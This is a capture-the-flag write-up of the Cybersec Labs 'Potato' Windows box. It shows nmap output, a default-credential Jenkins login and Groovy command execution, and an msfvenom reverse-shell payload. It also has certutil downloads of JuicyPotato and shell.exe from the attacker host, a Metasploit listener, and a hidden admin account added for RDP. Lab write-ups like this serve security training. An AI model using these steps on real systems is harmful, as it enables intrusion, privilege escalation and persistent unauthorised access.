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Cybersec Labs/Potato.md
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Cybersec Labs/Potato.md
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# Cybersec Labs- Potato
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>Abdullah Rizwan | 03:14 PM , 31st October ,2020
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## NMAP
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```
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Host is up (0.22s latency). [13/50]
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Not shown: 990 closed ports
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PORT STATE SERVICE VERSION
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135/tcp open msrpc Microsoft Windows RPC
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139/tcp open netbios-ssn Microsoft Windows netbios-ssn
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445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
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3389/tcp open ssl/ms-wbt-server?
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| rdp-ntlm-info:
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| Target_Name: POTATO
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| NetBIOS_Domain_Name: POTATO
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| NetBIOS_Computer_Name: POTATO
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| DNS_Domain_Name: Potato
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| DNS_Computer_Name: Potato
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| Product_Version: 6.3.9600
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|_ System_Time: 2020-10-31T10:14:06+00:00
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| ssl-cert: Subject: commonName=Potato
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| Not valid before: 2020-10-30T07:00:02
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|_Not valid after: 2021-05-01T07:00:02
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8080/tcp open http Jetty 9.4.z-SNAPSHOT
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| http-robots.txt: 1 disallowed entry
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|_/
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|_http-server-header: Jetty(9.4.z-SNAPSHOT)
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|_http-title: Site doesn't have a title (text/html;charset=utf-8).
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49152/tcp open msrpc Microsoft Windows RPC
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49153/tcp open msrpc Microsoft Windows RPC
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49154/tcp open msrpc Microsoft Windows RPC
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49155/tcp open msrpc Microsoft Windows RPC
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49163/tcp open msrpc Microsoft Windows RPC
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Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
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Host script results:
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|_nbstat: NetBIOS name: POTATO, NetBIOS user: <unknown>, NetBIOS MAC: 0a:79:b7:7d:7b:a0 (unknown)
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|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
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| smb-security-mode:
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| account_used: guest
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| authentication_level: user
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| challenge_response: supported
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|_ message_signing: disabled (dangerous, but default)
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| smb2-security-mode:
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| 2.02:
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|_ Message signing enabled but not required
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| smb2-time:
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| date: 2020-10-31T10:14:06
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|_ start_date: 2020-10-31T07:00:01
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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```
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## SMB Shares (PORT 139)
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I tried to list the smb shares on the box , but we need an authenticated user to access the shares
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```
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root@kali:~/Cybersec Labs/Easy/Potato# smbclient -L \\\\172.31.1.19\\
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Enter WORKGROUP\root's password:
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session setup failed: NT_STATUS_ACCESS_DENIED
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root@kali:~/Cybersec Labs/Easy/Potato#
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```
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## PORT 8080
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<img src="https://imgur.com/8YtwWwv.png"/>
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Let's try entering username `admin` and password `admin`
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<img src="https://imgur.com/ltGq467.png"/>
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We got in
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Now looking at how to exploit `jenkins` visit `https://book.hacktricks.xyz/pentesting/pentesting-web/jenkins`
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<img src="https://imgur.com/rKYNgcf.png"/>
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Now let's see if there is a RCE vulnerability here
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```
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def process = "cmd.exe /c dir".execute()
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println "Found text ${process.text}"
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```
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`cmd.exe` invokes command prompt , `/c dir` will give the command to cmd to run `dir` (list directories)
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<img src="https://imgur.com/h2sezF2.png"/>
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Our command got executed
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<img src="https://imgur.com/Lw7kF88.png"/>
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Here it says that there is a metasploit exploit for jenkins
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<img src="https://imgur.com/c1IZ2t7.png"/>
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<img src="https://imgur.com/OXXkkBP.png"/>
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Now this configuration didn't work because `TARGETURI` was not set correctly , you can see that in our case `TARGETURI` should be `/` because there is no `jenkins directory` also it was not required to enter credentials but since we know it I entered them for the safe side
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<img src="https://imgur.com/Hsc7ub6.png"/>
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Wait for a minute to send the bytes to our target and we will have a meterpreter session
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<img src="https://imgur.com/7mXx70Z.png"/>
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Now this is looking overwhelming so that there are `key` files here but we donot what are they for , so let's upload `winpeas` for enumeration
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<img src="https://imgur.com/K2k43mx.png"/>
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<img src="https://imgur.com/FLctkrG.png"/>
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<img src="https://imgur.com/dVcZH1D.png"/>
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Here we can see that we can abuse this service to get escalated privileges
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https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens
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https://github.com/ohpe/juicy-potato
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Now we need to upload two executeables files on the target , first as you can see from the links that we gain `nt\authority` through juicy potato that will run our windows payload.
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## Msfvenom
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To generate a payload
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```
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root@kali:~/Cybersec Labs/Easy/Potato# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.1.37 LPORT=7777 -f exe -o shell.exe
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[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
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[-] No arch selected, selecting arch: x86 from the payload
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No encoder specified, outputting raw payload
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Payload size: 341 bytes
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Final size of exe file: 73802 bytes
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Saved as: shell.exe
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```
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## JuicyPotato
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Download juicypotato.exe
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<img src="https://imgur.com/iMv7omY.png"/>
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Host them on your local machine
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```
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root@kali:~/Cybersec Labs/Easy/Potato# python3 -m http.server 80
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Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
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```
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`certutil.exe -urlcache -f http://10.10.1.37:80/JuicyPotato.exe JuicyPotato.exe`
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`certutil.exe -urlcache -f http://10.10.1.37:80/shell.exe shell.exe`
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<img src="https://imgur.com/wQUKh6t.png"/>
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Now we have those two files on our target system
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Set a meterperter listener
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```
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msf5 > use exploit/multi/handler
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[*] Using configured payload generic/shell_reverse_tcp
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msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
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PAYLOAD => windows/meterpreter/reverse_tcp
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msf5 exploit(multi/handler) > set LHOST tun0
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LHOST => tun0
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msf5 exploit(multi/handler) > set LPORT 7777
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LPORT => 7777
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msf5 exploit(multi/handler) > exploit
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[*] Started reverse TCP handler on 10.10.1.37:7777
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```
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<img src="https://imgur.com/EpDqm3E.png"/>
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Now get the user and root flag
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<img src="https://imgur.com/0zM0Zr6.png"/>
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<img src="https://imgur.com/y4nMSLv.png"/>
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# Extra RDP (PORT 3389)
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We can also access the system through GUI , metasploit has a command that can add a user with system privleges
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```
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meterpreter > run getgui -u arz -p $123aBc
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[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
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[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
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[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
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[*] Carlos Perez carlos_perez@darkoperator.com
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[*] Setting user account for logon
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[*] Adding User: arz with Password: $123aBc
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[*] Hiding user from Windows Login screen
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[*] Adding User: arz to local group 'Remote Desktop Users'
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[*] Adding User: arz to local group 'Administrators'
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[*] You can now login with the created user
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[*] For cleanup use command: run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20201031.3756.rc
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```
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I used this password because password policy wasn't allowing me to set a simple password
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Using `remmina`
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<img src="https://imgur.com/aQpYliu.png"/>
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And we can now control the whole system through GUI as well
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<img src="https://imgur.com/hv7XNKR.png"/>
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